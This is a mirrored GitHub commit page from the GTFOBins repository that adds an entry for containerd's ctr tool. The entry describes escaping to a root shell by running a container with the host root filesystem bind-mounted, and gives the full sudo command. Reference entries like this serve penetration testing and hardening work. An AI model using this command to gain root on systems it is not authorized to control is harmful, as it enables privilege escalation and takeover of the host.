mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-10-23 05:46:10 +02:00
containerd (ctr) root shell
This commit is contained in:
8
_gtfobins/ctr
Normal file
8
_gtfobins/ctr
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: |
|
||||||
|
If ctr sudo permissions, you can use it to escape to a root shell. It is necessary to add an existing image.
|
||||||
|
- code: |
|
||||||
|
sudo /usr/bin/ctr run --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest bash
|
||||||
|
---
|
Reference in New Issue
Block a user